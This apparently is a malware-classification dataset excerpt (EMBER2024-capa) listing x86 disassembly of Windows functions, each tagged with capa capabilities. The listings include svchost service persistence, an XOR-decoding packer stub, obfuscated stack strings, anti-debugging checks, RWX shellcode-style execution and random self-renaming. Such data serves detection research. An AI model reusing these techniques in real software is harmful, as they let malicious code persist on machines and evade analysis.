joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100126f0
Capabilities:
Create service
Modify service
Persist via windows service

Disassembly:
push ecx
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
test eax, eax
mov dword [0x1002184c], eax
jne 0x1001270b
pop ecx
ret
mov ecx, dword [esp + 8]
push 0
push 0
push 0
push 0
push 0
push ecx
push 0
push 2
push 0x110
push 0xf01ff
push 0x1001f2b0
push 0x1001f230
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
test eax, eax
mov dword [0x10021848], eax
jne 0x10012744
pop ecx
ret
mov edx, dword [0x1002184c]
push esi
push edx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov ecx, dword [0x10021848]
mov esi, eax
lea eax, [esp + 4]
mov dword [esp + 4], 0x1001f378
push eax
push 1
push ecx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
mov eax, 1
pop esi
pop ecx
ret

Function at 0x10012780
Capabilities:
Modify service

Disassembly:
sub esp, 0x2c
push ebx
push esi
push edi
xor ebx, ebx
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
push 0xf003f
push 0x1001f230
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
xor eax, eax
mov dword [esp + 0x10], eax
lea ecx, [esp + 0x20]
mov dword [esp + 0x14], eax
push esi
mov dword [esp + 0x1c], eax
mov dword [esp + 0x14], ebx
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], 0x15180
mov dword [esp + 0x28], 0x3e8
mov dword [esp + 0x24], 1
mov dword [esp + 0x30], ebx
mov dword [esp + 0x2c], 1
mov dword [esp + 0x38], ebx
mov dword [esp + 0x34], 1
mov dword [esp + 0x1c], 3
mov dword [esp + 0x20], ecx
mov dword [esp + 0x18], ebx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
lea edx, [esp + 0xc]
push edx
push 2
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x2c
ret
Function at 0x10012f30
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x23c
mov ecx, 8
xor eax, eax
lea edx, [esp + 0x110]
push ebx
push esi
push edi
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [esp + 0x11c]
push 0x30
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x143]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, 0x1001f230
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x120]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.Parameters
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
call esi
add esp, 4
lea eax, [esp + 0xc]
lea ecx, [esp + 0x11c]
push eax
push 0xf003f
push 0
push ecx
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x10012ffc
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x23c
ret
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x1c]
add esp, 4
rep stosd dword es:[edi], eax
lea edx, [esp + 0x14]
lea eax, [esp + 0x18]
push edx
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push eax
push ecx
push 0
push str.ServiceDll
push edx
mov dword [esp + 0x28], 2
mov dword [esp + 0x2c], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x18]
push str._RqmbzdlDjn_p__NljoTSllbjnimn_jlr
push ecx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
neg eax
sbb eax, eax
pop edi
pop esi
inc eax
pop ebx
add esp, 0x23c
ret
Function at 0x10013090
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x814
mov ecx, 0xd
lea eax, [esp]
push ebx
push ebp
push esi
push edi
mov esi, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
lea edi, [esp + 0x1c]
rep movsd dword es:[edi], dword [esi]
push eax
push 0xf003f
lea ecx, [esp + 0x24]
push 0
push ecx
push reloc.WS2_32.dll_bind
movsb byte es:[edi], byte [esi]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100131b3
mov ecx, 0x1f3
lea edi, [esp + 0x55]
mov byte [esp + 0x54], al
lea edx, [esp + 0x18]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x1f4
xor eax, eax
lea edi, [esp + 0x54]
push edx
mov edx, dword [esp + 0x14]
mov dword [esp + 0x18], 7
rep stosd dword es:[edi], eax
lea eax, [esp + 0x58]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push str.imgsvc
push edx
mov dword [esp + 0x30], 0x7d0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x100131a8
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edi, [esp + 0x54]
or ecx, 0xffffffff
xor eax, eax
xor ebp, ebp
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea ebx, [esp + 0x54]
mov esi, ecx
test si, si
je 0x100131b3
cmp si, 1
je 0x100131b3
push 0x1001f230
push ebx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
je 0x10013198
mov eax, esi
and eax, 0xffff
test si, si
lea ebx, [ebx + eax + 1]
lea ebp, [eax + ebp + 1]
je 0x100131b3
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
test si, si
jne 0x1001314d
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x814
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x814
ret
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x814
ret

Function at 0x100131c0
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
call fcn.10012f30
test eax, eax
jne 0x100131ce
call fcn.100129d0
call fcn.10013090
test eax, eax
jne 0x100131dc
jmp fcn.10012c40
ret
Function at 0x41c500
Capabilities:
Query environment variable

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
cmp dword [0x427850], 0
jne 0x41c581
cmp dword [0x427870], 0
jne 0x41c530
call sub.KERNEL32.DLL_GetEnvironmentStrings
mov dword [0x427870], eax
test eax, eax
jne 0x41c530
push str.GetEnvironmentStrings_failed
call fcn.0041bd1c
pop ecx
xor ebp, ebp
xor esi, esi
mov ebx, dword [0x427870]
jmp 0x41c544
lea eax, [edi + 1]
inc esi
add ebp, eax
add ebx, eax
push ebx
call fcn.004168a4
pop ecx
mov edi, eax
test eax, eax
jne 0x41c53c
lea edi, [ebp + 1]
push edi
call fcn.004161a8
pop ecx
mov ebx, eax
mov dword [0x427854], ebx
test ebx, ebx
jne 0x41c56e
xor eax, eax
jmp 0x41c644
push edi
mov edx, dword [0x427870]
push edx
push ebx
call fcn.00416754
add esp, 0xc
jmp 0x41c5a1
xor esi, esi
mov ebx, dword [0x427850]
jmp 0x41c59b
push eax
call fcn.004168a4
pop ecx
test eax, eax
jne 0x41c597
dec esi
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x41c58b
lea ebx, [esi + 4]
push 4
mov dword [0x427858], ebx
inc ebx
push ebx
call fcn.00415c80
add esp, 8
test eax, eax
mov dword [esp], eax
jne 0x41c5c4
xor eax, eax
jmp 0x41c644
cmp dword [0x427850], 0
jne 0x41c5f5
xor esi, esi
mov ebx, dword [0x427854]
mov eax, dword [esp]
mov ebp, eax
jmp 0x41c5e6
mov dword [ebp], ebx
add ebp, 4
inc esi
inc edi
add ebx, edi
push ebx
call fcn.004168a4
pop ecx
mov edi, eax
test eax, eax
jne 0x41c5dc
jmp 0x41c626
xor esi, esi
mov ebx, dword [0x427850]
mov eax, dword [esp]
mov edi, eax
jmp 0x41c620
push eax
call fcn.004168a4
pop ecx
test eax, eax
je 0x41c615
mov eax, dword [ebx]
mov dword [edi], eax
jmp 0x41c619
dec esi
add edi, 0xfffffffc
add edi, 4
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x41c604
mov eax, dword [0x427850]
test eax, eax
je 0x41c636
push eax
call fcn.004161b8
pop ecx
mov edx, dword [esp]
mov eax, 1
mov dword [0x427850], edx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x430003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
nop
nop
mov ecx, 0x708f5716
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x142b406c
nop
nop
nop
nop
nop
test eax, eax
je 0x430084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43006c
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x4021e0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x450d90
push 0x43b52c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x28
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x38], 0xc550c4e
mov dword [ebp - 0x34], 0xc4f0c46
mov dword [ebp - 0x30], 0xc0b0c48
mov dword [ebp - 0x2c], 0xc4b0c42
mov dword [ebp - 0x28], 0xc44
mov byte [ebp - 0x24], 1
xor eax, eax
nop
lea ecx, [eax + 0xc20]
xor word [ebp + eax*2 - 0x38], cx
inc eax
cmp eax, 9
jb 0x402230
mov byte [ebp - 0x24], 0
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edx, eax
mov dword [ebp - 0x21], 0x4f61556e
mov dword [ebp - 0x1d], 0x43564b
mov byte [ebp - 0x19], 1
xor ecx, ecx
lea eax, [ecx + 0x20]
xor byte [ebp + ecx - 0x21], al
inc ecx
cmp ecx, 7
jb 0x402265
mov byte [ebp - 0x19], 0
lea eax, [ebp - 0x21]
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], 0
push 0x99999999
call eax
mov dword [ebp - 4], 0xffffffff
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4023b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x450db0
push 0x43b52c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x34
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
xorps xmm0, xmm0
movups xmmword [ebp - 0x44], xmm0
movups xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x1c], 0
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0x40
push 0x3000
push dword [ebp - 0x40]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
mov dword [ebp - 0x20], esi
test esi, esi
je 0x40248f
mov byte [esi], 0xc3
lea eax, [ebp - 0x1c]
push eax
push 0x140
push dword [ebp - 0x40]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x40248f
mov dword [ebp - 4], 0
call esi
mov dword [ebp - 4], 0xffffffff
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4024b0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov edx, 1
push ecx
lea ecx, [edx + 4]
call fcn.00402130
add esp, 4
test al, al
je 0x40255a
movaps xmm0, xmmword [str.cRPdAQvUGJOX_dJ]
xor eax, eax
movups xmmword [ebp - 0x11], xmm0
mov byte [ebp - 1], 1
lea ecx, [eax + 0x20]
xor byte [ebp + eax - 0x11], cl
inc eax
cmp eax, 0xf
jb 0x4024e0
mov byte [ebp - 1], 0
xor ecx, ecx
mov dword [ebp - 0x28], 0xc550c4e
mov dword [ebp - 0x24], 0xc4f0c46
mov dword [ebp - 0x20], 0xc0b0c48
mov dword [ebp - 0x1c], 0xc4b0c42
mov dword [ebp - 0x18], 0xc44
mov byte [ebp - 0x14], 1
nop word [eax + eax]
lea eax, [ecx + 0xc20]
xor word [ebp + ecx*2 - 0x28], ax
inc ecx
cmp ecx, 9
jb 0x402520
lea eax, [ebp - 0x28]
mov byte [ebp - 0x14], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea ecx, [ebp - 0x11]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x402554
call eax
mov esp, ebp
pop ebp
ret
xor eax, eax
mov esp, ebp
pop ebp
ret
mov dword [ebp - 0x28], 0xc520c43
xor ecx, ecx
mov dword [ebp - 0x24], 0xc500c50
mov dword [ebp - 0x20], 0xc0b0c57
mov dword [ebp - 0x1c], 0xc5f0c43
mov dword [ebp - 0x18], 0xc4d
mov byte [ebp - 0x14], 1
lea eax, [ecx + 0xc20]
xor word [ebp + ecx*2 - 0x28], ax
inc ecx
cmp ecx, 9
jb 0x402583
lea ecx, [ebp - 0x28]
mov byte [ebp - 0x14], 0
call fcn.00416f90
mov esp, ebp
pop ebp
ret
Function at 0x4025b0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x104c
call fcn.0043b2b0
push esi
push 0x1000
lea eax, [ebp - 0x1048]
mov dword [ebp - 0x48], 0x18
push 0
push eax
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x2c], 0xc550c4e
mov dword [ebp - 0x28], 0xc4f0c46
xor ecx, ecx
mov dword [ebp - 0x24], 0xc0b0c48
mov dword [ebp - 0x20], 0xc4b0c42
mov dword [ebp - 0x1c], 0xc44
mov byte [ebp - 0x18], 1
nop word [eax + eax]
lea eax, [ecx + 0xc20]
xor word [ebp + ecx*2 - 0x2c], ax
inc ecx
cmp ecx, 9
jb 0x402630
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x18], 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
movaps xmm0, xmmword [0x4500d0]
mov edx, eax
movups xmmword [ebp - 0x15], xmm0
mov dword [ebp - 5], 0x465255
xor ecx, ecx
mov byte [ebp - 1], 1
nop dword [eax]
lea eax, [ecx + 0x20]
xor byte [ebp + ecx - 0x15], al
inc ecx
cmp ecx, 0x13
jb 0x402670
lea eax, [ebp - 0x15]
mov byte [ebp - 1], 0
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
lea eax, [ebp - 0x48]
push 0
push eax
push 0x1f000f
lea eax, [ebp - 0x30]
push eax
call esi
test esi, esi
je 0x402765
mov dword [ebp - 0x2c], 0xc550c4e
xor ecx, ecx
mov dword [ebp - 0x28], 0xc4f0c46
mov dword [ebp - 0x24], 0xc0b0c48
mov dword [ebp - 0x20], 0xc4b0c42
mov dword [ebp - 0x1c], 0xc44
mov byte [ebp - 0x18], 1
lea eax, [ecx + 0xc20]
xor word [ebp + ecx*2 - 0x2c], ax
inc ecx
cmp ecx, 9
jb 0x4026d0
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x18], 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edx, eax
mov dword [ebp - 0xf], 0x5673556e
mov dword [ebp - 0xb], 0x685f5741
xor eax, eax
mov dword [ebp - 7], 0x484f434a
mov word [ebp - 3], 0x58
mov byte [ebp - 1], 1
lea ecx, [eax + 0x20]
xor byte [ebp + eax - 0xf], cl
inc eax
cmp eax, 0xd
jb 0x402712
lea eax, [ebp - 0xf]
mov byte [ebp - 1], 0
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 0x1000
lea ecx, [ebp - 0x1048]
push ecx
push 2
push dword [ebp - 0x30]
call eax
push dword [ebp - 0x30]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
js 0x402765
cmp dword [ebp - 0x103c], 0
jne 0x402765
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x402770
Capabilities:
Check for protected handle exception
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x450dc0
push 0x43b52c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x24
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x32], 0xc400c72
mov dword [ebp - 0x2e], 0xc470c4c
mov dword [ebp - 0x2a], 0xc480c4b
mov dword [ebp - 0x26], 0xc490c06
mov dword [ebp - 0x22], 0xc440c49
mov dword [ebp - 0x1e], 0xc4f
mov byte [ebp - 0x1a], 1
xor eax, eax
nop word [eax + eax]
lea ecx, [eax + 0xc20]
xor word [ebp + eax*2 - 0x32], cx
inc eax
cmp eax, 0xb
jb 0x4027d0
mov byte [ebp - 0x1a], 0
lea eax, [ebp - 0x32]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov esi, eax
push 2
push 2
push esi
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov dword [ebp - 4], 0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 4], 0xffffffff
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404040
Capabilities:
Move file

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43b72d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x1d0
push esi
push edi
push 0x104
lea eax, [ebp - 0x1e0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
mov dword [ebp - 0x30], 0
lea eax, [ebp - 0x1e0]
mov dword [ebp - 0x2c], 0
movups xmmword [ebp - 0x40], xmm0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4040a6
sub eax, edx
lea ecx, [ebp - 0x40]
push eax
lea eax, [ebp - 0x1e0]
push eax
call fcn.00407c30
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x40]
mov edi, dword [ebp - 0x2c]
cmp edi, 0x10
mov esi, dword [ebp - 0x30]
mov edx, esi
cmovae ecx, dword [ebp - 0x40]
push 1
sub esp, 8
call fcn.00407ba0
add esp, 0xc
mov dword [ebp - 0x18], 0
xorps xmm0, xmm0
mov dword [ebp - 0x14], 0
movups xmmword [ebp - 0x28], xmm0
lea ecx, [eax + 1]
cmp esi, ecx
jb 0x40424c
mov eax, esi
sub eax, ecx
cmp eax, esi
cmovb esi, eax
cmp edi, 0x10
lea eax, [ebp - 0x40]
cmovae eax, dword [ebp - 0x40]
add eax, ecx
lea ecx, [ebp - 0x28]
push esi
push eax
call fcn.00407c30
push 0
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
add esp, 4
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov ecx, 0xf
lea edi, [ebp - 0xd8]
mov esi, str.1S2oZu3Jxc4D5f6_I7l_8A9w0_iD__ps_SLvcCxPRe_GhW__HbVnMEe_
add esp, 4
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0x11
idiv ecx
xor esi, esi
lea edi, [edx + 0x11]
test edi, edi
jle 0x404186
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0x24
idiv ecx
mov al, byte [ebp + edx - 0xd8]
mov byte [ebp + esi - 0x98], al
inc esi
cmp esi, edi
jl 0x404165
push str..exe
lea eax, [ebp - 0x98]
mov byte [ebp + edi - 0x98], 0
push 0x50
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
add esp, 0xc
lea ecx, [ebp - 0x98]
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push ecx
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
mov ecx, dword [ebp - 0x14]
add esp, 8
cmp ecx, 0x10
jb 0x4041f1
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4041e7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404229
push ecx
push edx
call fcn.00439eff
add esp, 8
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
cmp ecx, 0x10
jb 0x404239
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40422f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40422f
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00439eff
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00401960
int3
Function at 0x406810
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x38], 0
je 0x40683c
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x20], esi
mov ecx, dword [eax]
lea eax, [ebx + 0x30]
mov dword [esp + 0x24], edi
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], eax
test ecx, ecx
je 0x406864
mov eax, dword [eax]
mov ecx, dword [eax]
jmp 0x40686a
xor ecx, ecx
mov dword [esp + 0x18], eax
mov eax, ecx
cdq
mov dword [esp + 0x10], eax
mov ecx, edx
mov dword [esp + 0x14], ecx
test edi, edi
jl 0x4068d2
jg 0x406881
test esi, esi
je 0x4068d2
test ecx, ecx
jl 0x4068cd
jg 0x40688b
test eax, eax
je 0x4068cd
cmp edi, ecx
jg 0x40689f
jl 0x406895
cmp esi, eax
jae 0x40689f
mov eax, esi
mov dword [esp + 0x10], esi
mov dword [esp + 0x14], edi
push eax
push dword [ebp + 8]
push dword [esp + 0x24]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [esp + 0x24]
add esp, 0xc
mov edx, dword [esp + 0x10]
mov ecx, dword [ebp + 8]
add ecx, edx
sub esi, edx
mov eax, dword [eax]
sbb edi, dword [esp + 0x14]
sub dword [eax], edx
mov eax, dword [ebx + 0x20]
add dword [eax], edx
jmp 0x4068d5
mov ecx, dword [ebp + 8]
jmp 0x4068df
mov ecx, dword [ebp + 8]
test edi, edi
jl 0x4068f9
jg 0x4068df
test esi, esi
je 0x4068f9
mov eax, dword [ebx + 0x4c]
test eax, eax
je 0x4068f9
push eax
push esi
push 1
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x406910
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
sub esp, 8
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
test eax, eax
jg 0x406934
jl 0x406929
test ecx, ecx
jne 0x406934
xor eax, eax
xor edx, edx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x40694e
push eax
push ecx
push dword [ebp + 8]
mov ecx, ebx
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char___long_long___int64__]
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
push esi
push edi
mov edi, ecx
mov eax, dword [eax]
mov dword [ebp - 8], eax
test eax, eax
je 0x40699a
mov eax, dword [ebx + 0x2c]
lea edx, [ebx + 0x2c]
mov dword [ebp - 4], edx
mov eax, dword [eax]
test eax, eax
je 0x4069a0
mov edi, dword [ebp + 8]
cmp eax, ecx
mov esi, ecx
cmovb esi, eax
push esi
push dword [ebp - 8]
push edi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebx + 0x2c]
add edi, esi
mov dword [ebp + 8], edi
add esp, 0xc
mov edi, dword [ebp + 0xc]
sub edi, esi
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
jmp 0x4069a0
lea eax, [ebx + 0x2c]
mov dword [ebp - 4], eax
cmp dword [ebx + 0x4c], 0
mov esi, dword [ebp + 8]
je 0x406a16
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x4069cc
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov dword [eax], edx
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
cmp edi, 0xfff
jbe 0x406a04
nop dword [eax]
push dword [ebx + 0x4c]
push 0xfff
push 1
push esi
call eax
add esp, 0x10
add esi, eax
sub edi, eax
cmp eax, 0xfff
jne 0x406a16
cmp edi, eax
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
ja 0x4069e0
test edi, edi
je 0x406a16
push dword [ebx + 0x4c]
push edi
push 1
push esi
call eax
add esp, 0x10
sub edi, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc